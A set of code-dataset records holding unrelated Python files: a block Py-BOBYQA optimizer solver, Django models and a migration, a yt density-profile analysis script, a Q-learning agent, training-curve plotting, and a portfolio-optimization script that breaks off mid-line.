diagnostic_info = DiagnosticInfo(x0, f0, delta, rho, nf, with_xk=params(\"logging.save_xk\"),\n with_poisedness=params(\"logging.save_poisedness\"),\n with_rho=params(\"tr_radius.use_rho\"))\n else:\n diagnostic_info = None\n\n current_iter = 0\n last_fopts_for_slowterm = []\n num_consecutive_slow_iters = 0\n # Adaptive checking - how many safety/very successful steps have we had in a row so far?\n num_consecutive_safety_steps = 0\n H_to_save, Q_to_save = None, None # previous model Hessian (for minimal change)\n last_successful_iter = 0 # determines when we can reduce rho\n diffs = [0.0, 0.0, 0.0]\n\n while True:\n current_iter += 1\n if params(\"tr_radius.use_rho\"):\n logging.debug(\"*** Iter %g (delta = %g, rho = %g) ***\" % (current_iter, delta, rho))\n else:\n logging.debug(\"*** Iter %g (delta = %g) ***\" % (current_iter, delta))\n\n # Don't bother sampling new points after a safety step - we just reduce delta and try again\n recycle_model = (0 < num_consecutive_safety_steps <= params(\"geometry.safety_steps_before_redraw\"))\n if recycle_model:\n logging.debug(\"Recycling model from previous iteration (safety step)\")\n else:\n model.clear_hessian_points()\n exit_info, model, nf = add_hessian_points(model, delta, objfun, args, scaling_changes, nf, maxfun, params)\n if exit_info is not None:\n break # quit\n\n model.factorise_simplex_system()\n logging.debug(\"Using model with %g points in p=%g directions\" % (model.p+1+model.hess_npt, model.p))\n\n xk = model.xopt()\n fk = model.fopt()\n if params(\"adaptive.save_hess\") and H_to_save is not None:\n # Switch previous Hessian to new basis\n # H_to_save is p*p in basis given by Q_to_save, h_old is p*p in basis given by model.Q\n basis_switch = np.dot(Q_to_save.T, model.Q) # cost O(np^2) to compute, size p*p\n H_old = np.dot(basis_switch.T, np.dot(H_to_save.as_full(), basis_switch)) # all matrices p*p, cost O(p^3) to compute\n H_old = Hessian(model.p, vals=H_old)\n else:\n H_old = None\n interp_ok, ck, gk, Hk = model.build_quadratic_interp_model(Hprev=H_old, model_in_full_space=False) # based at xopt, in reduced space\n ndirs_used = model.p\n npt_used = model.p + 1 + model.hess_npt\n delta_used = delta\n rho_used = rho # for diagnostic info only\n if not interp_ok:\n exit_info = ExitInformation(EXIT_LINALG_ERROR, \"Failed to build interpolation model\")\n break # quit\n\n # Save Hessian for next iteration (minimal change)\n if params(\"adaptive.save_hess\"):\n Q_to_save = model.Q.copy()\n H_to_save = Hk\n\n # (optionally) save poisedness of interpolation model\n poisedness = model.poisedness_in_reduced_space(delta) if params(\"logging.save_poisedness\") else None\n\n # Calculate step/predicted reduction\n sk_red, crvmin = trust_region_step(gk, Hk, delta) # step in reduced space\n sk_full = model.project_to_full_space(sk_red)\n norm_sk = np.linalg.norm(sk_red)\n xnew = xk + sk_full\n if Hk is not None:\n pred_reduction = -np.dot(sk_red, gk + 0.5 * Hk.vec_mul(sk_red))\n else:\n pred_reduction = -np.dot(sk_red, gk)\n\n if norm_sk < params(\"general.safety_step_thresh\") * (rho if params(\"tr_radius.use_rho\") else delta) \\\n or pred_reduction < 0.0: # step too short or TRS gave model increase\n logging.debug(\"Safety step\")\n iter_type = ITER_SAFETY\n num_consecutive_safety_steps += 1\n # num_consecutive_very_successful_steps = 0\n ratio = None # used for diagnostic info only\n\n if params(\"tr_radius.use_rho\"):\n delta = max(params(\"tr_radius.gamma_dec\") * delta, rho)\n if not done_with_current_rho(rho, last_successful_iter, current_iter, diffs, crvmin,\n in_safety=True) or delta > rho:\n # Delete a bad point (equivalent to fixing geometry)\n try:\n sigmas = model.poisedness_of_each_simplex_point(d=sk_red, d_in_full_space=False)\n sqdists = model.simplex_distances_to_xopt(include_kopt=True) # ||yt-xk||^2\n vals = sigmas * np.maximum(sqdists ** 2 / delta ** 4, 1) # BOBYQA point to remove criterion\n vals[model.kopt] = -1.0 # make sure kopt is never selected\n k = np.argmax(vals)\n except np.linalg.LinAlgError:\n # If poisedness calculation fails, revert to dropping furthest points\n sqdists = model.simplex_distances_to_xopt(include_kopt=True) # ||yt-xk||^2\n k = np.argmax(sqdists)\n\n model.remove_simplex_point(k, check_not_kopt=True)\n\n # if params(\"general.use_safety_step\") and norm_sk > rho:\n # last_successful_iter = current_iter\n else:\n delta, rho = reduce_rho(delta, rho, rhoend, params)\n last_successful_iter = current_iter\n\n if rho <= rhoend:\n exit_info = ExitInformation(EXIT_SUCCESS, \"rho has reached rhoend\")\n break # quit\n else:\n delta = params(\"tr_radius.gamma_dec\") * delta\n if delta <= rhoend:\n exit_info = ExitInformation(EXIT_SUCCESS, \"delta has reached rhoend\")\n break # quit\n # (end of safety step)\n else:\n # (start of normal step)\n num_consecutive_safety_steps = 0\n\n # Evaluate objective at xnew\n fnew, exit_info, nf = eval_objfun(model, xnew, objfun, args, scaling_changes, nf, maxfun, params)\n if exit_info is not None:\n break # quit\n\n # Slow termination checking\n if fnew < fk:\n if len(last_fopts_for_slowterm) <= params(\"slow.history_for_slow\"):\n last_fopts_for_slowterm.append(fk)\n num_consecutive_slow_iters = 0\n else:\n last_fopts_for_slowterm = last_fopts_for_slowterm[1:] + [fk]\n this_iter_slow = (np.log(last_fopts_for_slowterm[0]) - np.log(fk)) / float(\n params(\"slow.history_for_slow\")) < params(\"slow.thresh_for_slow\")\n if this_iter_slow:\n num_consecutive_slow_iters += 1\n else:\n num_consecutive_slow_iters = 0\n\n # Do slow termination check\n if num_consecutive_slow_iters >= params(\"slow.max_slow_iters\"):\n model.save_point(xnew, fnew) # save, since this point was an improvement\n exit_info = ExitInformation(EXIT_SLOW_WARNING, \"Maximum slow iterations reached\")\n break # quit\n\n # Decide on type of step\n actual_reduction = fk - fnew\n ratio = actual_reduction / pred_reduction\n if min(norm_sk, delta) > rho: # if ||sk|| >= rho, successful!\n last_successful_iter = current_iter\n diffs = [abs(actual_reduction - pred_reduction), diffs[0], diffs[1]]\n\n # Update trust region radius\n delta, iter_type = update_tr(delta, rho, ratio, norm_sk, params)\n\n logging.debug(\"Ratio = %g (%s)\" % (ratio, iter_type))\n\n # Add xnew to interpolation set\n if model.p < model.n:\n logging.debug(\"Appending xk+sk\")\n model.append_simplex_point(xnew, fnew) # updates xopt\n xnew_appended = True\n else:\n # If the model is full, replace xnew with the point furthest from xk (from previous iteration)\n try:\n sigmas = model.poisedness_of_each_simplex_point(d=sk_red, d_in_full_space=False)\n sqdists = model.simplex_distances_to_xopt(include_kopt=True) # ||yt-xk||^2\n vals = sigmas * np.maximum(sqdists ** 2 / delta ** 4, 1) # BOBYQA point to remove criterion\n vals[model.kopt] = -1.0 # make sure kopt is never selected\n knew = np.argmax(vals)\n except np.linalg.LinAlgError:\n # If poisedness calculation fails, revert to dropping furthest points\n sqdists = model.simplex_distances_to_xopt(include_kopt=True) # ||yt-xk||^2\n knew = np.argmax(sqdists)\n logging.debug(\"Changing simplex point %g to xk+sk\" % knew)\n model.change_simplex_point(knew, xnew, fnew, check_not_kopt=True) # updates xopt\n xnew_appended = False\n\n # Drop points no longer needed\n # Remove at least 1 from xnew (if appended) and 1 to make space for a new direction in next iter\n min_npt_to_drop = (2 if xnew_appended else 1)\n p_drop = (1.0 - params(\"adaptive.simplex_save_frac_successful\")) * model.p\n if iter_type in [ITER_ACCEPTABLE, ITER_UNSUCCESSFUL]:\n p_drop = (1.0 - params(\"adaptive.simplex_save_frac_unsuccessful\")) * model.p\n if params(\"hessian.forget_on_unsuccessful\"):\n H_to_save = None\n ndirs_to_keep = max(0, min(model.p - int(p_drop), model.p - min_npt_to_drop)) # TODO this is correct\n # ndirs_to_keep = max(0, min(int(p_drop), model.p - min_npt_to_drop))\n ndirs_to_drop = model.p - ndirs_to_keep\n logging.debug(\"After adding xnew, model has %g directions, dropping %g\" % (model.p, ndirs_to_drop))\n\n # Criteria of points to remove:\n try:\n sigmas = model.poisedness_of_each_simplex_point(delta=delta)\n sqdists = model.simplex_distances_to_xopt(include_kopt=True) # ||yt-xk||^2\n vals = sigmas * np.maximum(sqdists ** 2 / delta ** 4, 1) # BOBYQA point to remove criterion\n except np.linalg.LinAlgError:\n # If poisedness calculation fails, revert to dropping furthest points\n logging.debug(\"Poisedness failed, using distance only\")\n vals = model.simplex_distances_to_xopt(include_kopt=True) # ||yt-xk||^2\n vals[model.kopt] = -np.inf # make sure kopt is never selected\n # logging.debug(\"kopt = %g, argmin = %g\" % (model.kopt, np.argmin(model.fvals)))\n # logging.debug(\"Here, fvals in [%.20g, %.20g]\" % (np.min(model.fvals), np.max(model.fvals)))\n\n for i in range(ndirs_to_drop):\n k = np.argmax(vals)\n # logging.debug(\"Dropping %g (val = %g) // kopt = %g with val = %g\" % (k, vals[k], model.kopt, vals[model.kopt]))\n vals = np.delete(vals, k) # keep vals indices in line with indices of model.points\n model.remove_simplex_point(k, check_not_kopt=True)\n # try:\n # model.remove_simplex_point(k, check_not_kopt=True)\n # # logging.debug(\"Model kopt = %g, with val = %g\" % (model.kopt, vals[model.kopt]))\n # except AssertionError as e:\n # for i in range(model.p + 1):\n # logging.debug(\"%g: %g\" % (i, vals[i]))\n # raise e\n\n if params(\"tr_radius.use_rho\"):\n if ratio < 0 and done_with_current_rho(rho, last_successful_iter, current_iter, diffs, crvmin,\n in_safety=False) and delta <= rho:\n delta, rho = reduce_rho(delta, rho, rhoend, params)\n last_successful_iter = current_iter\n\n if rho <= rhoend:\n exit_info = ExitInformation(EXIT_SUCCESS, \"rho has reached rhoend\")\n break # quit\n else:\n if delta <= rhoend:\n exit_info = ExitInformation(EXIT_SUCCESS, \"delta has reached rhoend\")\n break # quit\n # (end of normal step)\n\n # Add new simplex points to get back to correct size - do in both safety and normal steps\n ndirs_to_add = fixed_block_size - model.p\n logging.debug(\"Model has p=%g, adding %g points\" % (model.p, ndirs_to_add))\n for i in range(ndirs_to_add):\n model.factorise_simplex_system() # now can get model.Q (None if no directions stored currently, which is ok for next line)\n d = random_orthog_directions_new_subspace_within_bounds(1, delta, model.xl - model.xopt(),\n model.xu - model.xopt(),\n Q=model.Q,\n box_bound_thresh=params(\n \"geometry.direcion_box_bound_thresh\"))[0, :]\n\n # Evaluate objective\n xnew = model.xopt() + d\n fnew, exit_info, nf = eval_objfun(model, xnew, objfun, args, scaling_changes, nf, maxfun, params)\n if exit_info is not None:\n break # quit\n\n # Append xnew to model\n model.append_simplex_point(xnew, fnew)\n\n logging.debug(\"At end of iteration, now have %g directions\" % (model.p))\n\n # (in both safety and normal steps, update diagnostic info)\n if params(\"logging.save_diagnostic_info\"):\n diagnostic_info.save_info(model, delta_used, rho_used, Hk, ndirs_used, npt_used, norm_sk, np.linalg.norm(gk),\n nruns_so_far + 1, nf, current_iter, iter_type, ratio, poisedness)\n continue\n\n xopt, fopt = model.get_final_results()\n return xopt, fopt, None, None, nf, nruns_so_far + 1, exit_info, diagnostic_info # TODO no gradient/Hessian returned?\n\n\ndef solve(objfun, x0, args=(), fixed_block_size=None, hess_npt=None, bounds=None, rhobeg=None, rhoend=1e-8, maxfun=None,\n user_params=None, objfun_has_noise=False, scaling_within_bounds=False):\n n = len(x0)\n\n if fixed_block_size is not None:\n assert 1 <= fixed_block_size <= n, \"fixed_block_size, if specified, must be in [1..n]\"\n else:\n fixed_block_size = n # default to full block\n\n if hess_npt is not None:\n assert min_npt(fixed_block_size) <= fixed_block_size + 1 + hess_npt <= max_npt(fixed_block_size), \"Invalid choice of hess_npt\"\n else:\n hess_npt = fixed_block_size # default to 2p+1 interpolation points in total\n\n # Set missing inputs (if not specified) to some sensible defaults\n if bounds is None:\n xl = None\n xu = None\n scaling_within_bounds = False\n else:\n raise RuntimeError(\n 'Block Py-BOBYQA does not support bounds yet (needs update to trust region subproblem solver)')\n # assert len(bounds) == 2, \"bounds must be a 2-tuple of (lower, upper), where both are arrays of size(x0)\"\n # xl = bounds[0]\n # xu = bounds[1]\n\n if xl is None:\n xl = np.full((n,), -1e20) # unconstrained\n if xu is None:\n xu = np.full((n,), 1e20) # unconstrained\n\n if rhobeg is None:\n rhobeg = 0.1 if scaling_within_bounds else 0.1 * max(np.max(np.abs(x0)), 1.0)\n if maxfun is None:\n maxfun = min(100 * (n + 1), 1000) # 100 gradients, capped at 1000\n\n # Set parameters\n params = ParameterList(int(n), int(maxfun), objfun_has_noise=objfun_has_noise) # make sure int, not np.int\n if user_params is not None:\n for (key, val) in user_params.items():\n params(key, new_value=val)\n\n scaling_changes = None\n if scaling_within_bounds:\n shift = xl.copy()\n scale = xu - xl\n scaling_changes = (shift, scale)\n\n x0 = apply_scaling(x0, scaling_changes)\n xl = apply_scaling(xl, scaling_changes)\n xu = apply_scaling(xu, scaling_changes)\n\n exit_info = None\n # Input & parameter checks\n if exit_info is None and rhobeg < 0.0:\n exit_info = ExitInformation(EXIT_INPUT_ERROR, \"rhobeg must be strictly positive\")\n\n if exit_info is None and rhoend < 0.0:\n exit_info = ExitInformation(EXIT_INPUT_ERROR, \"rhoend must be strictly positive\")\n\n if exit_info is None and rhobeg <= rhoend:\n exit_info = ExitInformation(EXIT_INPUT_ERROR, \"rhobeg must be > rhoend\")\n\n if exit_info is None and maxfun <= 0:\n exit_info = ExitInformation(EXIT_INPUT_ERROR, \"maxfun must be strictly positive\")\n\n if exit_info is None and np.shape(x0) != (n,):\n exit_info = ExitInformation(EXIT_INPUT_ERROR, \"x0 must be a vector\")\n\n if exit_info is None and np.shape(x0) != np.shape(xl):\n exit_info = ExitInformation(EXIT_INPUT_ERROR, \"lower bounds must have same shape as x0\")\n\n if exit_info is None and np.shape(x0) != np.shape(xu):\n exit_info = ExitInformation(EXIT_INPUT_ERROR, \"upper bounds must have same shape as x0\")\n\n if exit_info is None and np.min(xu - xl) < 2.0 * rhobeg:\n exit_info = ExitInformation(EXIT_INPUT_ERROR, \"gap between lower and upper must be at least 2*rhobeg\")\n\n if maxfun <= n:\n warnings.warn(\"maxfun <= n: Are you sure your budget is large enough?\", RuntimeWarning)\n\n # Check invalid parameter values\n\n all_ok, bad_keys = params.check_all_params()\n if exit_info is None and not all_ok:\n exit_info = ExitInformation(EXIT_INPUT_ERROR, \"Bad parameters: %s\" % str(bad_keys))\n\n # If we had an input error, quit gracefully\n if exit_info is not None:\n exit_flag = exit_info.flag\n exit_msg = exit_info.message(with_stem=True)\n results = OptimResults(None, None, None, None, 0, 0, exit_flag, exit_msg)\n return results\n\n # Enforce lower & upper bounds on x0\n idx = (xl < x0) & (x0 <= xl + rhobeg)\n if np.any(idx):\n warnings.warn(\"x0 too close to lower bound, adjusting\", RuntimeWarning)\n x0[idx] = xl[idx] + rhobeg\n\n idx = (x0 <= xl)\n if np.any(idx):\n warnings.warn(\"x0 below lower bound, adjusting\", RuntimeWarning)\n x0[idx] = xl[idx]\n\n idx = (xu - rhobeg <= x0) & (x0 < xu)\n if np.any(idx):\n warnings.warn(\"x0 too close to upper bound, adjusting\", RuntimeWarning)\n x0[idx] = xu[idx] - rhobeg\n\n idx = (x0 >= xu)\n if np.any(idx):\n warnings.warn(\"x0 above upper bound, adjusting\", RuntimeWarning)\n x0[idx] = xu[idx]\n\n # Call main solver (first time)\n nruns = 0\n nf = 0\n xmin, fmin, gradmin, hessmin, nf, nruns, exit_info, diagnostic_info = \\\n solve_main(objfun, x0, args, rhobeg, rhoend, maxfun, nruns, nf, params, scaling_changes,\n fixed_block_size, hess_npt)\n\n # Process final return values & package up\n exit_flag = exit_info.flag\n exit_msg = exit_info.message(with_stem=True)\n\n # Un-scale gradient & Hessian\n if scaling_changes is not None:\n if gradmin is not None:\n gradmin = gradmin / scaling_changes[1]\n if hessmin is not None:\n hessmin = hessmin / np.outer(scaling_changes[1], scaling_changes[1])\n\n results = OptimResults(remove_scaling(xmin, scaling_changes), fmin, gradmin, hessmin, nf, nruns, exit_flag,\n exit_msg)\n\n if params(\"logging.save_diagnostic_info\") and diagnostic_info is not None:\n df = diagnostic_info.to_dataframe()\n results.diagnostic_info = df\n\n return results\n","sub_path":"block_twopoints/block_twopoints/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":32965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"322317479","text":"from django.db import models\n\n# Create your models here.\n\nclass Board(models.Model):\n # error -> https://ssungkang.tistory.com/entry/Django-class-has-no-objects-member-에러\n objects = models.Manager()\n title = models.CharField( max_length = 128,\n verbose_name = \"제목\")\n contents = models.TextField(verbose_name = \"내용\")\n writer = models.ForeignKey( 'fcuser.Fcuser',\n on_delete = models.CASCADE, \n verbose_name = \"작성자\")\n tags = models.ManyToManyField('tag.Tag', verbose_name = \"태그\")\n registerd_dttm = models.DateTimeField( auto_now_add = True,\n verbose_name = \"등록시간\")\n\n def __str__(self):\n return self.title\n\n class Meta:\n db_table = \"fastcampus_board\"\n verbose_name = \"게시글\"\n verbose_name_plural = \"게시글\"\n\n# EOF\n","sub_path":"fc_community/board/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"169519941","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\n\n#COMECE AQUI ABAIXO\nn = int(input('digite n:'))\nsoma = 0\ni = 1\nwhile i<=n:\n soma = soma + i\n i = i + 1\nprint(soma)","sub_path":"moodledata/vpl_data/10/usersdata/136/10332/submittedfiles/testes.py","file_name":"testes.py","file_ext":"py","file_size_in_byte":177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"474118849","text":"from starter2 import *\nframe=0\nplt.close('all')\n#xtra_energy.add_energies(ds)\n#xtra_energy.add_gdotgradrho(ds)\n#nf = np.where( this_looper.tr.frames == frame)[0][0]\n#time = times[nframe,0]\n\n#c = nar([ms.mean_xc[nf], ms.mean_yc[nf],ms.mean_zc[nf]])\n#msR = ms.rc\n#msR[ msR<1/2048]=1/2048\n#\n#MaxRadius=msR[:,nf].max()\n#Radius = max([8.0/128, MaxRadius])\n\n#fig6,ax6=plt.subplots(3,2)\nfig6,ax6=plt.subplots(1,3, figsize=(12,8))\nfor NROW in [0]:\n c1=nar([0.40912891, 0.15447959, 0.0391341 ])\n rsph=0.0625\n c = np.round(c1*4096)/4096\n print((c-c1)*2048)\n\n if NROW==-1:\n fname='/data/cb1/Projects/P19_CoreSimulations/u202-Beta2/GravPotential/DD0090/data0090'\n #c=[0.40912891, 0.15447959, 0.0391341 ]\n #rsph=0.0625/4\n ds=yt.load(fname)\n sp = ds.sphere(c,rsph)\n dv = sp[YT_cell_volume]\n RR = sp['radius']\n DD = sp[YT_density]\n if 1:\n proj=ds.proj(YT_density,0,data_source=sp, center=c)\n pw=proj.to_pw(center=c)\n pw.zoom(4)\n pw.save('plots_to_sort/cg1')\n if NROW==0:\n fname='/data/cb1/Projects/P19_CoreSimulations/u202-Beta2/GravPotential/DD0090/data0090'\n L = c-rsph\n R = c+rsph\n dsreg=yt.load(fname)\n reg = dsreg.region(c,L,R)\n dv = reg[YT_cell_volume]\n RR = reg['radius']\n DD = reg[YT_density]\n if 1:\n proj=ds.proj(YT_density,0,data_source=reg, center=c)\n pw=proj.to_pw(center=c)\n pw.zoom(1/(R[0]-L[0]))\n pw.save('plots_to_sort/cg2')\n\n if NROW==1:\n fname='/data/cb1/Projects/P19_CoreSimulations/u202-Beta2/GravPotential/DD0090/data0090'\n if 0:\n rsph=0.0625/16\n L = c-rsph\n R = c+rsph\n #L =nar([0.34662891, 0.09197959, 0.9766341 ])\n #R =nar([0.47162891, 0.21697959, 1.1016341 ])\n L =reg.left_edge.v-0.5/2048\n R =reg.right_edge.v-0.5/2048\n ds=yt.load(fname)\n #sp = ds.sphere(c,rsph)\n level=4\n dx = ds.index.get_smallest_dx()\n Nzones = ((R-L)/dx).astype('int')\n cg = ds.covering_grid(level,L,Nzones)\n fig0,ax0=plt.subplots(1,1)\n ax0.imshow( np.log10( cg['density'].sum(axis=0)).transpose(), origin='lower')\n fig0.savefig('plots_to_sort/cg0')\n\n \n\n\n dv = cg[YT_cell_volume].flatten()\n RR = np.sqrt( (cg[YT_x].v-c[0])**2+(cg[YT_y].v-c[1])**2+(cg[YT_z].v-c[2])**2) \n ok = RR>0\n DD = cg[YT_density][ok].flatten()\n fig1,ax1=plt.subplots(1,1)\n ax1.imshow( RR.sum(axis=0))\n fig1.savefig('plots_to_sort/fart')\n RR = RR[ok].flatten()\n\n\n if NROW==2:\n x,y,z=np.mgrid[-0.5:0.5:1/16, -0.5:0.5:1/16, -0.5:0.5:1/16]\n RR = np.sqrt(x**2+y**2+z**2).flatten()\n DD = np.zeros_like(RR)\n DD[RR>0] = RR[RR>0]**-1.39\n dv = np.zeros_like(RR)+1/16**3\n ok = RR>0\n RR = RR[ok]\n DD = DD[ok]\n\n\n figa,axa=plt.subplots(1,1)\n thing1=nar(sorted( cg[YT_x].flatten().v))\n thing2=nar(sorted( reg[YT_x].v))\n axa.plot( thing1[:10],c='g')\n axa.plot( thing2[:10],c='r')\n figa.savefig('plots_to_sort/dump')\n\n\n\n #ax1=ax6[NROW][0]\n #ax2=ax6[NROW][1]\n ax1=ax6[0]\n ax2=ax6[1]\n ax1.set(title='rho')\n ax2.set(title='mass')\n\n\n ORDER = np.argsort( RR)\n RR_cuml = RR[ORDER]\n rho_srt = DD[ORDER]\n V_cuml = np.cumsum( dv[ORDER])\n M_cuml = np.cumsum( DD[ORDER]*dv[ORDER])\n dv_sort = dv[ORDER]\n\n r_bins=np.geomspace(RR_cuml[10],RR.max(),64)\n r_cen=0.5*(r_bins[1:]-r_bins[:-1])\n digitized = np.digitize( RR_cuml, r_bins)\n def digit(arr):\n output =nar([ arr[ digitized == i].mean() if (digitized==i).any() else np.nan for i in range(1,len(r_bins))])\n return output\n\n\n rho_bin = digit(rho_srt)\n ok = ~np.isnan(rho_bin)*(rho_bin>0)\n rrr = digit(RR_cuml)\n\n\n pfit_mass = np.polyfit( np.log10(RR_cuml[1:]), np.log10(M_cuml[1:]),1)\n pfit_rho = np.polyfit( np.log10(RR_cuml[1:]), np.log10(rho_srt[1:]),1)\n pfit_dig = np.polyfit( np.log10(rrr[ok]), np.log10(rho_bin[ok]),1)\n pfit_m2 = np.polyfit( np.log10(RR_cuml[1:]), np.log10((M_cuml/V_cuml))[1:],1)\n\n\n ax1.plot( RR_cuml, rho_srt, c=[0.5]*4)\n ax1.plot( rrr[ok], rho_bin[ok],c='k')\n ax1.plot( RR_cuml, M_cuml/V_cuml,'b')\n\n ax1.plot( rrr[ok], 10**(np.log10(rrr[ok])*pfit_dig[0]+pfit_dig[1]),'k:',label=\"dig %0.2f\"%pfit_dig[0])\n ax1.plot( rrr[ok], 10**(np.log10(rrr[ok])*pfit_rho[0]+pfit_rho[1]),'r', label=\"fit %0.2f\"%pfit_rho[0])\n ax1.plot( rrr[ok], 10**(np.log10(rrr[ok])*pfit_m2[0]+pfit_m2[1]),'b:', label=\"m2 %0.2f\"%pfit_m2[0])\n ax1.legend(loc=0)\n\n ax2.plot( RR_cuml, M_cuml,c=[0.5]*3)\n ax2.plot( RR_cuml, 10**(pfit_mass[0]*np.log10(RR_cuml)+pfit_mass[1]),\"k--\",label='fit %0.2f'%( pfit_mass[0]))\n MMM = pfit_rho[0]+3\n BBB = pfit_mass[1]\n ax2.plot( RR_cuml, 10**(MMM*np.log10(RR_cuml)+BBB),label='a+3: %0.2f'%(MMM), c='r')\n MMM = pfit_dig[0]+3\n BBB = pfit_mass[1]\n ax2.plot( RR_cuml, 10**(MMM*np.log10(RR_cuml)+BBB),label='dig+3: %0.2f'%(MMM), c='k')\n ax2.set(title='M')\n ax2.legend(loc=0)\n\n d2_sort = DD[ORDER]**2\n d2_cuml = np.cumsum( DD[ORDER]**2*dv[ORDER])/V_cuml\n pfit_d2 = np.polyfit( np.log10(RR_cuml[1:]), np.log10( d2_cuml[1:]),1)\n ax6[2].plot(RR_cuml, d2_sort, c=[0.5]*4)\n ax6[2].plot(RR_cuml[5:], d2_cuml[5:], c='k')\n ax6[2].plot( RR_cuml, 10**(np.log10(RR_cuml)*pfit_d2[0]+pfit_d2[1]),'k:', label=\"d2 %0.2f\"%pfit_d2[0])\n\n ax6[2].plot( RR_cuml, (M_cuml/V_cuml)**2, c='g')\n ax6[2].legend(loc=0)\n ax6[2].set(yscale='log',xscale='log')\n\n\n#ax6[1][0].plot(RR_cuml, rho_toy*4*np.pi*RR_cuml**3)\n for aaa in ax6.flatten():\n aaa.set(yscale='log',xscale='log')\n\nfig6.savefig('plots_to_sort/derp3.png')\n","sub_path":"p19_play/rho_squared_games.py","file_name":"rho_squared_games.py","file_ext":"py","file_size_in_byte":5778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"169373178","text":"import numpy as np\nfrom Environment import Environment\nimport numpy.random as rdm\n\nimm_reward = -1\n\nclass Agent (object):\n def __init__(self,total_actions):\n self.total_actions = total_actions\n\n # return the action 0/1/2/3 using epsilon greedy method\n def epsilon_greedy(self,line,col,q_net,epsilon):\n\n next_q = np.zeros((self.total_actions))\n for ele in range(self.total_actions):\n next_q[ele] = q_net[line, col, ele]\n # how many are the max\n max_index = np.where(next_q == max(next_q))[0]\n random_number = rdm.random_sample()\n #if all the values are the same, it is randomly select\n if (random_number < epsilon) or (np.size(max_index) == self.total_actions): # randomly pick one action\n\n return rdm.randint(0, self.total_actions)\n else:\n\n #if there is only one max\n if np.size(max_index) == 1:\n return np.argmax(next_q) #pick the max\n #if there are two or above max,randomly choose from them\n else:\n return int(next_q[max_index[rdm.choice(np.size(max_index),1)]][0])\n\n","sub_path":"David-Silver-DRL/Q_Learning/Agent.py","file_name":"Agent.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"416600014","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('best', '0013_auto_20150813_1141'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='student',\n name='email',\n field=models.CharField(max_length=128, null=True, blank=True),\n ),\n ]\n","sub_path":"best/migrations/0014_auto_20150922_1715.py","file_name":"0014_auto_20150922_1715.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"164527049","text":"import math\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#acc data\nacc = np.array([line.rstrip(',') for line in open('acc_history.txt')]).astype(np.float)\nval_acc = np.array([line.rstrip(',') for line in open('val_acc_history.txt')]).astype(np.float)\n\nepoch = np.array([i for i in range(acc.shape[0])])\n\n\nplt.plot(epoch,acc)\nplt.plot(epoch,val_acc)\nplt.legend(['Training accuracy','Validation accuracy'])\nplt.xlabel('Epoch')\nplt.ylabel('Accuracy')\n#plt.show()\nplt.savefig('acc_plot.eps')\n\n#val_data\nloss = np.array([line.rstrip(',') for line in open('loss_history.txt')]).astype(np.float)\nval_loss = np.array([line.rstrip(',') for line in open('val_loss_history.txt')]).astype(np.float)\n\n\nepoch = np.array([i for i in range(loss.shape[0])])\n\nplt.figure()\nplt.plot(epoch,loss)\nplt.plot(epoch,val_loss)\nplt.legend(['Training loss','Validation loss'])\nplt.xlabel('Epoch')\nplt.ylabel('Loss')\n#plt.show()\nplt.savefig('loss_plot.eps')\n\n","sub_path":"shear/unbiased5-75/accPlotter.py","file_name":"accPlotter.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"437594350","text":"from django.db import models\n\n\nclass CommunicationTypeManager(models.Manager):\n \n def get_and_render(self, code, context):\n \"\"\"\n Return a dictionary of rendered messages, ready for sending\n \"\"\"\n try:\n commtype = self.get(code=code)\n except self.model.DoesNotExist:\n commtype = self.model(code=code)\n return commtype.get_messages(context)\n","sub_path":"oscar/apps/customer/managers.py","file_name":"managers.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"394987549","text":"import pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom datetime import datetime\r\nstart = datetime(2010,1,4)\r\nimport pandas_datareader.data as web\r\n\r\n#Parametros\r\ndias=600\r\ntraining_start = datetime(2010,1,4)\r\ntraining_finish = datetime(2018,6,15)\r\ntesting_start = datetime(2019,1,1)\r\ntesting_finish = datetime(2018,6,15)\r\n\r\n#Market Data\r\nmarket_data = web.get_data_yahoo([\"^GSPC\", \"^GDAXI\", \"^FCHI\", \"^N225\", \"^HSI\", \"^BVSP\", \"^MXX\", \"XWD.TO\"], start)\r\nmarket_data = market_data[\"Close\"].fillna(method=\"ffill\")\r\nactivos = [\"^GSPC\", \"^GDAXI\", \"^FCHI\", \"^N225\", \"^HSI\", \"^BVSP\", \"^MXX\"] \r\n\r\n#Risk Free\r\nUS_rates = web.get_data_fred([\"DTB3\", \"DGS3MO\", \"DTB6\", \"DGS6MO\", \"DTB1YR\", \"DGS2\", \"DGS10\"], start).fillna(method=\"ffill\")\r\nUS_rates = (US_rates[\"DTB1YR\"].loc[training_start:training_finish].mean()/100)\r\n\r\ntraining = market_data.loc[training_start:training_finish,activos].pct_change(dias).dropna().mean() - US_rates\r\n\r\n#FUNCIÓN DE PORTAFOLIO ÓPTIMO\r\ndef portafolio_optimo(retornos):\r\n retornos_portafolio = [] \r\n volatilidad_portafolio = [] \r\n sharpe_ratio = []\r\n pesos_activos = []\r\n numero_activos = len(activos) \r\n simulaciones = 50000 \r\n cov = np.cov(retornos) \r\n for portfolio_n in range(simulaciones):\r\n pesos = np.random.random(numero_activos) \r\n pesos /= np.sum(pesos) \r\n retorno = np.dot(pesos, retornos) 